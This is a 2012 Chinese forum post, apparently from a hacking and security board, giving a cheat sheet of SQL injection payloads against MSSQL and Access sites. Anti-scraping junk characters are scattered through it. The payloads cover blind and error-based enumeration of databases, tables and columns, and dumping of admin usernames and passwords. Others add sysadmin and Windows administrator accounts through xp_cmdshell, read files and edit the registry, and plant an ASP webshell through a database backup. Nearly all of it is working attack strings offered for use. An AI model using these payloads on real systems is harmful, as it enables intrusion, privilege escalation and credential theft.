找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1985|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
# L0 V) `& i  K8 _8 a' a;and 1=1
! @1 ^  e- i2 m& s. ]. c4 h; l;and 1=2
: S) z" p* ?, ~; M5 ^' H, u7 Y# Q6 e3 Q! `0 f4 L0 a
2.初步判断是否是mssql
4 _  @! I4 u& G;and user>0 ! v2 ?; o/ k* K% D

9 d: {& [8 Z- t$ N' \/ x% _3.判断数据库系统 ( e" b) [; U# i
;and (select count(*) from sysobjects)>0 mssql ! \) \$ C5 D$ ^0 H3 y3 O( D: c
;and (select count(*) from msysobjects)>0 access
1 T# y& y+ k# h5 t+ e5 `! O& {  A. Z8 N/ {4 X0 c( w! Y
4.注入参数是字符 ! L& J! V" e( X0 r/ D' i. _. K
'and [查询条件] and ''=' 6 m) [: C) H! V' b5 B

' i. i5 H' O( A" X1 X2 y5.搜索时没过滤参数的
, Y7 v) I3 r( y! U'and [查询条件] and '%25'=' 9 z4 U( }  V5 \( a
1 T4 I' j* Z+ X7 \" ]+ |% c2 h
6.猜数表名
$ u0 F( R' H8 R+ J2 ]" Z! _+ o7 K;and (select Count(*) from [表名])>0 ! ^2 k& _- C, w6 X" d7 b$ D

6 |1 Q; R6 M5 q9 H7.猜字段
& W$ r' z+ u# t( }( c6 O# j;and (select Count(字段名) from 表名)>0 : X, K: }+ m. b1 `

/ w( N; j( S& Q8.猜字段中记录长度 " ^, t5 M4 |+ G0 q
;and (select top 1 len(字段名) from 表名)>0
  t1 M/ H. @) S7 ?' f* Y
, H( K: p8 V/ W( g1 o" d5 ^9.(1)猜字段的ascii值(access)
! b! z5 \8 A8 t;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 & `$ E$ ^$ A# i* ~

7 M% }1 Y1 t( Q(2)猜字段的ascii值(mssql)
, w1 S6 p2 v, f2 g7 x;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
5 Z- b) y4 F$ M9 d* k) \" P) r% D8 j0 F
10.测试权限结构(mssql) & M! P* d1 a' n7 `
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ Q$ u2 c1 F1 y9 @  s;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3 |2 I( F, G8 I7 ~
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
  @0 J+ `; ~  }! W8 e7 f;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
7 F6 f/ @& c0 @  |;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 l; t$ Y" q' Z' }6 ^;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 @2 H. k, K6 J. I
;and 1=(select IS_MEMBER('db_owner'));--
2 L% U7 L& J6 M9 k4 P1 C9 k! c! x! p
+ e2 l- J: Y% k1 u- G8 g( @11.添加mssql和系统的帐户
2 X, }! m, ?# ?9 ~- x+ T;exec master.dbo.sp_addlogin username;--
, o! n  l) w6 F7 _1 I4 h;exec master.dbo.sp_password null,username,password;-- ; J6 V& ?8 ?+ O+ {+ b" x, [
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ; j7 a' r. D9 U2 q# U) N& B
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 9 ?0 J: I2 c- Q& i
;exec master.dbo.xp_cmdshell 'net user username password /add';--
, ]4 K" a& n3 X3 K' d;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & W4 I6 T4 P1 w# x

& |: k) x9 C1 M: L% D- w1 I  ]" }12.(1)遍历目录 * ~/ |; o7 T( i& Q
;create table dirs(paths varchar(100), id int)
, D" \, _2 Q6 \/ ?; b4 z; @8 h3 `;insert dirs exec master.dbo.xp_dirtree 'c:\' % q  ^% f% o  \/ z5 z
;and (select top 1 paths from dirs)>0
5 u; L. g+ \/ i. _0 e;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) , x, N# u. C0 c. r+ y% F

& G: b  h$ F4 J) H, k/ m8 g(2)遍历目录
* X* l; ^) j7 u;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7 E( j& e9 d7 P2 G( ]8 J' B- k3 C  C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9 O6 U( t/ I3 P5 l
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' G! m: [1 R  `# N9 W;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
9 N: u- n/ q) D7 };insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
; I) F  a% Y& Y/ y
4 w/ z& o% K( D- ~13.mssql中的存储过程
% \4 G6 g/ W; w+ }$ t; r4 kxp_regenumvalues 注册表根键, 子键
- B$ \+ u9 Y/ R  l$ F' |/ V;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ' _2 C. I, G3 k& Q) o
xp_regread 根键,子键,键值名
4 _5 c( o2 o( U  I9 M3 k;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 M" j9 a; M' G; S) _' D! u# }
xp_regwrite 根键,子键, 值名, 值类型, 值
' m: D" x3 ~, v- z$ l值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( }9 d' ?. Q6 ?# l$ ?; K
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
- W+ v( ^5 S3 A3 t% \: x; ]* ixp_regdeletevalue 根键,子键,值名 / M( O% z0 R! P8 Y# a" m5 u
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
* M8 T  O: J% Q* Uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9 S/ ]  ?0 i1 ?2 n' _$ j
& g) t( c' @' J1 R- Y- Z3 B. e* ]
14.mssql的backup创建webshell . K# @5 o1 C0 Y
use model
1 B' \7 G1 i. U' Jcreate table cmd(str image);
% N' `4 D7 b* w3 s; h6 D2 i# ninsert into cmd(str) values ('<% Dim oScript %>'); - S  X& e+ n* h- w* [! K! W( Z) b
backup database model to disk='c:\l.asp'; 2 ?* e2 k- d) W: Y, j  a/ w

# |- g6 |9 `  s. n* K15.mssql内置函数 . i/ K7 N* k0 j* {7 g
;and (select @@version)>0 获得Windows的版本号
  Q: g; Z* n8 H! N/ j;and user_name()='dbo' 判断当前系统的连接用户是不是sa
; j' o2 D% m1 `9 E0 v& ];and (select user_name())>0 爆当前系统的连接用户 1 [3 F: R3 |  v8 r1 L, V7 @& j7 Q( R
;and (select db_name())>0 得到当前连接的数据库
5 n( N1 G' o, }* \( z3 H
( p: C0 G- y9 u' s+ s3 n, o% h. Y4 @, ]6 I0 I1 h
) w% s# t$ O* P
MSSQL手注暴库: q0 ~5 G$ O0 \2 o

6 D- \+ z% |5 E2 B9 V* L1 f4 i1.暴出当前表名和列名
; A4 m" v2 W3 y# j5 _在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 Q7 T& c7 ?0 z: B1 ?

& X' V( [; }) |& Z8 ]1 X第一.爆出所有数据库名6 \7 O$ I& M' I) L' L
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。# @5 ~7 a7 W! \: N
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
7 S  P  A' `* K  J
3 `2 R+ Z: Q1 A/ G; P3 K7 Q. b# D, hand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
! E6 l  A! ~6 V5 ]+ q# q$ w: Q' M, ~% t" h5 a" ~$ v( \9 Q$ o8 i
4 [* B! ^. M7 W: d2 W% b
第二.爆出指定库中的所有表名
$ X: ?- y1 Z0 C/ O) A得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。0 S+ Q2 e6 ]0 K' p
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。+ W/ D# I5 f, p
5 j7 K8 t& s7 K: P
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--5 K* m# ]4 x$ Q$ v
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--7 `4 L3 w* T. h; |
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--' U7 \, @6 b  D3 m( D

! C# V) J1 }# z( C4 a$ ~/ `7 v4.爆出指定表中的所有列名: K' }/ Y$ u8 j$ O* V
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
2 @# j6 Q9 ]+ m. }) B' g& S//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'! l4 T  E5 r; p( I' Q

9 W- m0 f, B1 X/ H9 Y7 f2 _5 rand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名! E$ i: W. K- n  _& S2 O: T$ }

$ }4 ~/ N9 N1 p# Q3 ?再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
% y/ @/ o0 j7 K依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。2 K) n3 G1 |  D2 F7 N
3 V  ?1 y- M0 r
2 t$ F; R9 _4 Q# C; U+ Q" O- }
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
3 b& _+ V; d( l) R/ b2 H- I
0 b; K2 J! `7 s: Fand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名" r$ D5 |. g  B

* A0 U" U6 |& [and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ! n+ C% m6 C9 j; U% b8 W( \

8 e! n+ N/ t, w. `8 J" F( H+ p
) N" p8 p6 P4 c; x, u6 M7 N
, v  b' u6 r, z; t9 w- ^5.读取指定表中的数据
, z( b# o: V- U' }3 V* }
9 f* S$ c& v6 eand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 , n& e0 V4 a; e
* v! }- H% {. C: e& t# R4 d
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--0 g- F" r5 M: r* W) [
4 ~" ?% Z1 x4 j
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码& w+ {2 v# Q* J& u
8 ]8 g4 T( B9 M

1 ^3 W0 r2 }" L' Fand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
+ }/ L& I3 F2 o
# H  A5 ^8 b6 X$ \/ w+ Vand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)+ U) L: L8 `7 x$ x
8 R' G" u. V9 Z) }6 c7 I# n$ U# O) p+ L
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
7 {# l# E5 j* H' h
; s" D$ e. |2 c0 C* a知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
. s6 P  z- I& g* {* y: U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表